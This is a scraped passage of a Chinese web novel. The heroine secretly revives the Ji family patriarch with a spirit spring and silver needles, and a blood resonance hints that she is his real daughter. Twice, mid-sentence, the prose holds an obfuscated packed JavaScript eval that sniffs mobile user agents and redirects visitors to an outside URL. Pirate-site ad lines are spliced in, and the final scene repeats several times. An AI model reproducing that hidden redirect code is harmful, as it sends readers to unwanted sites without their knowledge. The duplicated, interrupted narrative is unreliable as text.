苏文赫也摇头:“清寒说得对。纪家现在是我们的竞争对手,甚至是敌人。你现在去,不仅风险大,而且……万 一救不回来,纪家说不定还会反咬一口,把责任都推到你头上。” 所有人都不同意。 凝凝沉默了片刻,缓缓开口:“纪梦瑶是纪梦瑶,纪云深是纪云深。” 她抬起头,目光清澈而冷静:“我在拍卖会上见过纪云深一面。他虽然护短,但眼神清正,做事有底线,和那个疯疯癫癫的纪梦瑶不一样。再说……” 她顿了顿,嘴角勾起一抹淡淡的笑意:“冤家宜解不宜结。纪家毕竟是港市的大家族,如果我们能在这个时候拉他们一把,不仅能化解之前的矛盾,甚至可能……把纪家从敌人变成盟友。这对我们在港市的生意,只有好处。” “而且,清寒,你和慕白哥在内地都是有身份的人。我作为你的妻子,陈家的养女。虽说没有救治的义务,但是人家求到面前,我直接拒绝也总归不好看。” “可是你的身体……”傅清寒依旧紧锁着眉头,那是他唯一的底线。 “我没事。”凝凝安抚地拍了拍他的手,“我只是去看看,如果真的救不了,我也不会勉强自己。医者仁心,总不能还没见到病人,就把路给堵**。” 傅清寒皱眉,他知道凝凝说得没错,如果直接拒绝,别的不说,背上见死不救的名声也确实好说不好听。 就在他沉思的当口,一直坐在一旁喝茶看戏的玄冥,慢悠悠地放下了茶杯。 他站起身,整理了一下自己那身儒雅的长衫,脸上露出了一个“我就知道会这样”的无奈笑容,对着凝凝说道: “小师妹,既然傅部长不同意,那就算了吧。毕竟,傅部长也是心疼你,怕你累着。” 他话锋一转,语气变得格外温和体贴:“不过,既然你心意已决,不想见死不救。那不如……师兄陪你去?虽然我医术不如你精湛,但给你打打下手,护你周全,这点本事还是有的。有我在,绝不会让你受半分委屈。” 这番话,说得那叫一个大义凛然,那叫一个温柔体贴! 既衬托了傅清寒的“不通情理”和“左右为难”,又凸显了自己的“深明大义”和“勇于担当”。 简直就是满分的“绿茶”发言! 傅清寒听完,那张俊脸瞬间就黑成了锅底! 他看着玄冥那副“只有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774212|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最懂你、最支持你”的 欠揍模样,只觉得胸口那股熟悉的火气,“蹭”地一下就窜了上来! 让他陪你去? 孤男寡女?深夜去医院?还要给你“**”? 想得美! “谁说我不同意了?”傅清寒猛地站起身,一把拉住凝凝的手,将她带到自己身边,冷冷地瞥了玄冥一眼,声音里充满了压抑的怒火和霸道: “我是她丈夫,护她周全是我的责任,不用劳烦外人操心。” 说完,他看向凝凝,虽然脸色依旧不好看,但语气却已经软了下来,带着几分无奈和妥协: “既然你想去,那就去。但我丑话说在前头,能救就救,救不了不许逞强,立刻跟我走。” 凝凝看着他这副别扭又可爱的模样,知道他满心满意都是为了自己,忍不住笑了用力点了点头:“好,我答应你。” …… 半小时后,仁爱医院急救室外的走廊。 纪云深看到傅清寒真的把凝凝带来了,那双布满血丝的眼睛里,迸发出一种孤注一掷的希冀。 “**……”他快步迎了上来。 “情况我都知道了。”凝凝神色平静。她没有立刻进去,而是问了一句:“血型还没找到吗?” “没有……”纪云深痛苦地摇头,“血库最快也要一个多小时。” “那纪小姐呢?”凝凝的目光,淡淡地扫过缩在角落里的纪梦瑶。 纪云深脸色一僵,眼中闪过一丝羞愤和失望,最终只是无奈地摇了摇头。 凝凝心中了然。 正哭得伤心欲绝的纪母林慧珍,在看到凝凝的瞬间,哭声猛地一滞! 她看着眼前这个清冷出尘的女孩,只觉得心脏像是被什么东西轻轻撞了一下。 好熟悉…… 这张脸,这种气质……为什么会让她产生一种莫名的、似曾相识的感觉?好像……好像在哪里见过,却又怎么都想不起来。 尤其是在看到凝凝那双清亮而又倔强的眼睛时,她脑海里甚至不受控制地闪过自己年轻时对着镜子梳妆的模糊画面。 但眼下,丈夫命悬一线,她根本无暇去深究这股转瞬即逝的异样感,所有的思绪又立刻被巨大的悲伤和担忧所淹没。 第174章 血脉共鸣,我和他是什么关系? 而缩在另一边的纪梦瑶,在看到凝凝的那一刻,那张煞白的脸上,瞬间闪过了极其复杂的、混杂着怨毒、嫉妒和恐惧的神色! 就是这个**! 就是她害得自己输了赌约,成了全港的笑柄!害得纪家亏了三十亿!害得爸爸吐血昏迷! 她恨不得立刻冲上去,撕烂那张比自己更美的脸! 可是……她不敢。 她更怕! 她怕爸爸真的**,自己这个“假千金”的身份会立刻被愤怒的大哥清算!她更怕在爸爸死后,自己会被逼着去验血,去查明为什么不肯输血的“真相”! 所以现在,这个她最恨的女人,竟然成了她唯一的救命稻草! 她必须寄希望于白凝凝能救活纪父!只有纪父活着,她才能继续扮演“孝顺女儿”的角色,才能继续享受纪家千金的荣华富贵! 这种既恨又怕,还不得不把希望寄托在仇人身上的扭曲心理,让她整个人都快要**了!她只能死死地低下头,将所有的恶毒都藏在眼底,不敢流露出半分。 凝凝没有多废话,简单询问了病情后,便准备进急救室。 临进门前,傅清寒拉住了她。他没有再阻止,只是紧紧地握了一下她的手,那是无声的支持和警告。 “记住你答应我的。”他低声说道,“你有分寸。” “放心。”凝凝给了他一个安定的眼神。 急救室的大门缓缓关上,将所有的喧嚣和焦急都隔绝在外。 手术台上,纪宏图面如金纸,气若游丝,心电监护仪上的曲线已经趋于平直。 凝凝屏退了所有医生和护士,只留下自己一人。 她深吸一口气,意念一动。 【空间·开启】 下一秒,周围的场景瞬间变幻! 冰冷的急救室消失不见,取而代之的,是那个仙气缭绕、灵气充沛的随身空间。 虽然之前的“息壤”还未恢复生机,但那口灵泉,经过这几日的休养,已经凝聚出了一小汪清澈见底的泉水。 凝凝没有犹豫,她迅速取出银针,用指尖沾了一滴灵泉水,抹在针尖上。 “得罪了。” 她轻声说道,随即手腕翻飞,银针如雨点般落下,精准地刺入纪宏图身上的几 处大穴! 灵泉水顺着银针,渗入纪宏图的体内。原本已经枯竭的经脉,在这股磅礴生机的滋养下,竟然奇迹般地开始复苏! 然而,就在凝凝准备施展最后一针,彻底封住他心脉的时候,意外发生了! 为了配合施针,凝凝的手指不小心被银针划破,一滴鲜红的血液,顺着指尖滴落,恰好落在了纪宏图手背上刚刚拔针留下的**处。 就在两滴血液接触的一瞬间—— 嗡——! 整个空间,竟然发出了一阵奇异的嗡鸣! 凝凝震惊地看到,她的那一滴血,并没有像普通血液那样凝固或者滑落,而是像拥有了生命一般,瞬间被纪宏图的伤口贪婪地“吸 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)了进去! 紧接着,一道耀眼的红光,从两人接触的地方爆发出来! 那光芒顺着纪宏图的血管迅速蔓延,原本因失血过多而苍白的皮肤下,血管竟然变成了诡异却充满生机的金色!那些因为**和器官衰竭而变得晦暗的经脉,在这股霸道而又精纯的生命力冲刷下,竟然以肉眼可见的速度,重新焕发了光彩! 这是……血脉共鸣?! 凝凝的心,狂跳了起来! 她震惊地看着手术台上那张与自己有着些许轮廓相似的脸,脑海中一片混乱。 一个荒诞、却又似乎无比接近真相的念头,不受控制地冒了出来—— 这种毫无排斥、瞬间融合甚至引发共鸣的现象,在《药神典》的记载中,通常只出现在直系至亲之间! 难道……自己和这个纪家家主……? 不!这太荒谬了! 凝凝立刻掐断了这个念头。 她在书里的身份是孤女,父母牺牲后,她就去了傅家。而纪家是港市顶级豪门,和内地相距两岸,怎么可能跟她扯上关系? 如果她真的是纪家的女儿,那她的爸妈又是谁?中间到底发生过什么?为什么这么多年都没人来找过她? 更重要的是,她现在的身份是“白凝凝,是傅清寒的妻子,是即将成为母亲的人。她在这个世界已经有了属于自己的家,有了爱她的丈夫和朋友。她不需要,也不想去攀附什么豪门。 豪门深似海,光看纪梦瑶那副为了利益不择手段的嘴脸,就知道这纪家的水有多深。 如果这层窗户纸捅破了,等待她的,可能不是温馨的认亲,而是无休止的算计、争斗,甚至是危险。 她不想打破现在平静的生活,更不想让傅清寒和肚子里的孩子卷入这种复杂的豪门秘辛里。 “或许……只是巧合吧。” 她在心里默默地告诉自己,试图用理智去压下那股莫名的悸动。 “或许是因为纪家祖上也是修行之人,血脉特殊,所以才能与我的灵泉之血产生共鸣。又或者,这就是那种罕见的‘万能受血者’体质?” 一定是这样,世界上巧合多了,见怪不怪,暂且就这样吧。 她强迫自己不再去深究那两滴血融合背后的深意。 无论真相如何,她今天来,只是为了救人,为了还一份因果,为了给“凝悦”在港市的发展铺路。 仅此而已。 她深吸一口气,将脑海中那些纷乱的思绪强行压下,眼神重新变得清明而坚定。 她整理了一下自己的情绪,推开急救室的大门,脸上重新恢复了那副清冷而又平静的模样。 …… 仁爱医院,急救室外。 “治疗很成功,病人已经脱离了危险。” 随着凝凝这句清冷而平静的话音落下,走廊里那令人窒息的死寂,终于被打破。 “老天保佑!真是老天保佑!”纪母林慧珍双手合十,不停地念叨着,随即她立刻转身,冲到缩在角落里的纪梦瑶身边,一把将她紧紧地搂在怀里,眼泪像断了线的珠子一样往下掉。 “梦瑶啊!我的心肝!刚才真是吓死妈了!幸好……幸好你没去输血!那医生都说了,你身体底子薄,这要是抽了血,万一有个三长两短,你让妈可怎么活啊!” 她一边哭,一边心疼地抚摸着纪梦瑶的脸,仿佛那个刚刚经历了生死劫难的不是躺在里面的丈夫,而是眼前这个毫发无伤的女儿。 在她的心里,女儿就是她的命根子。至于丈夫?反正现在人救回来了,女儿也没受罪,这就皆大欢喜了! 纪梦瑶窝在母亲怀里,感受着那熟悉而温暖的怀抱,刚才因为恐惧和心虚而狂跳的心脏,终于慢慢平复了下来。 她知道,这一关,她混过去了! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 如果这层窗户纸捅破了,等待她的,可能不是温馨的认亲,而是无休止的算计、争斗,甚至是危险。 她不想打破现在平静的生活,更不想让傅清寒和肚子里的孩子卷入这种复杂的豪门秘辛里。 “或许……只是巧合吧。” 她在心里默默地告诉自己,试图用理智去压下那股莫名的悸动。 “或许是因为纪家祖上也是修行之人,血脉特殊,所以才能与我的灵泉之血产生共鸣。又或者,这就是那种罕见的‘万能受血者’体质?” 一定是这样,世界上巧合多了,见怪不怪,暂且就这样吧。 她强迫自己不再去深究那两滴血融合背后的深意。 无论真相如何,她今天来,只是为了救人,为了还一份因果,为了给“凝悦”在港市的发展铺路。 仅此而已。 她深吸一口气,将脑海中那些纷乱的思绪强行压下,眼神重新变得清明而坚定。 她整理了一下自己的情绪,推开急救室的大门,脸上重新恢复了那副清冷而又平静的模样。 …… 仁爱医院,急救室外。 “治疗很成功,病人已经脱离了危险。” 随着凝凝这句清冷而平静的话音落下,走廊里那令人窒息的死寂,终于被打破。 “老天保佑!真是老天保佑!”纪母林慧珍双手合十,不停地念叨着,随即她立刻转身,冲到缩在角落里的纪梦瑶身边,一把将她紧紧地搂在怀里,眼泪像断了线的珠子一样往下掉。 “梦瑶啊!我的心肝!刚才真是吓死妈了!幸好……幸好你没去输血!那医生都说了,你身体底子薄,这要是抽了血,万一有个三长两短,你让妈可怎么活啊!” 她一边哭,一边心疼地抚摸着纪梦瑶的脸,仿佛那个刚刚经历了生死劫难的不是躺在里面的丈夫,而是眼前这个毫发无伤的女儿。 在她的心里,女儿就是她的命根子。至于丈夫?反正现在人救回来了,女儿也没受罪,这就皆大欢喜了! 纪梦瑶窝在母亲怀里,感受着那熟悉而温暖的怀抱,刚才因为恐惧和心虚而狂跳的心脏,终于慢慢平复了下来。 她知道,这一关,她混过去了! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 如果这层窗户纸捅破了,等待她的,可能不是温馨的认亲,而是无休止的算计、争斗,甚至是危险。 她不想打破现在平静的生活,更不想让傅清寒和肚子里的孩子卷入这种复杂的豪门秘辛里。 “或许……只是巧合吧。 她在心里默默地告诉自己,试图用理智去压下那股莫名的悸动。 “或许是因为纪家祖上也是修行之人,血脉特殊,所以才能与我的灵泉之血产生共鸣。又或者,这就是那种罕见的‘万能受血者’体质? 一定是这样,世界上巧合多了,见怪不怪,暂且就这样吧。 她强迫自己不再去深究那两滴血融合背后的深意。 无论真相如何,她今天来,只是为了救人,为了还一份因果,为了给“凝悦在港市的发展铺路。 仅此而已。 她深吸一口气,将脑海中那些纷乱的思绪强行压下,眼神重新变得清明而坚定。 她整理了一下自己的情绪,推开急救室的大门,脸上重新恢复了那副清冷而又平静的模样。 …… 仁爱医院,急救室外。 “治疗很成功,病人已经脱离了危险。 随着凝凝这句清冷而平静的话音落下,走廊里那令人窒息的死寂,终于被打破。 “老天保佑!真是老天保佑!纪母林慧珍双手合十,不停地念叨着,随即她立刻转身,冲到缩在角落里的纪梦瑶身边,一把将她紧紧地搂在怀里,眼泪像断了线的珠子一样往下掉。 “梦瑶啊!我的心肝!刚才真是吓死妈了!幸好……幸好你没去输血!那医生都说了,你身体底子薄,这要是抽了血,万一有个三长两短,你让妈可怎么活啊! 她一边哭,一边心疼地抚摸着纪梦瑶的脸,仿佛那个刚刚经历了生死劫难的不是躺在里面的丈夫,而是眼前这个毫发无伤的女儿。 在她的心里,女儿就是她的命根子。至于丈夫?反正现在人救回来了,女儿也没受罪,这就皆大欢喜了! 纪梦瑶窝在母亲怀里,感受着那熟悉而温暖的怀抱,刚才因为恐惧和心虚而狂跳的心脏,终于慢慢平复了下来。 她知道,这一关,她混过去了! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 如果这层窗户纸捅破了,等待她的,可能不是温馨的认亲,而是无休止的算计、争斗,甚至是危险。 她不想打破现在平静的生活,更不想让傅清寒和肚子里的孩子卷入这种复杂的豪门秘辛里。 “或许……只是巧合吧。 她在心里默默地告诉自己,试图用理智去压下那股莫名的悸动。 “或许是因为纪家祖上也是修行之人,血脉特殊,所以才能与我的灵泉之血产生共鸣。又或者,这就是那种罕见的‘万能受血者’体质? 一定是这样,世界上巧合多了,见怪不怪,暂且就这样吧。 她强迫自己不再去深究那两滴血融合背后的深意。 无论真相如何,她今天来,只是为了救人,为了还一份因果,为了给“凝悦在港市的发展铺路。 仅此而已。 她深吸一口气,将脑海中那些纷乱的思绪强行压下,眼神重新变得清明而坚定。 她整理了一下自己的情绪,推开急救室的大门,脸上重新恢复了那副清冷而又平静的模样。 …… 仁爱医院,急救室外。 “治疗很成功,病人已经脱离了危险。 随着凝凝这句清冷而平静的话音落下,走廊里那令人窒息的死寂,终于被打破。 “老天保佑!真是老天保佑!纪母林慧珍双手合十,不停地念叨着,随即她立刻转身,冲到缩在角落里的纪梦瑶身边,一把将她紧紧地搂在怀里,眼泪像断了线的珠子一样往下掉。 “梦瑶啊!我的心肝!刚才真是吓死妈了!幸好……幸好你没去输血!那医生都说了,你身体底子薄,这要是抽了血,万一有个三长两短,你让妈可怎么活啊! 她一边哭,一边心疼地抚摸着纪梦瑶的脸,仿佛那个刚刚经历了生死劫难的不是躺在里面的丈夫,而是眼前这个毫发无伤的女儿。 在她的心里,女儿就是她的命根子。至于丈夫?反正现在人救回来了,女儿也没受罪,这就皆大欢喜了! 纪梦瑶窝在母亲怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774213|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感受着那熟悉而温暖的怀抱,刚才因为恐惧和心虚而狂跳的心脏,终于慢慢平复了下来。 她知道,这一关,她混过去了! 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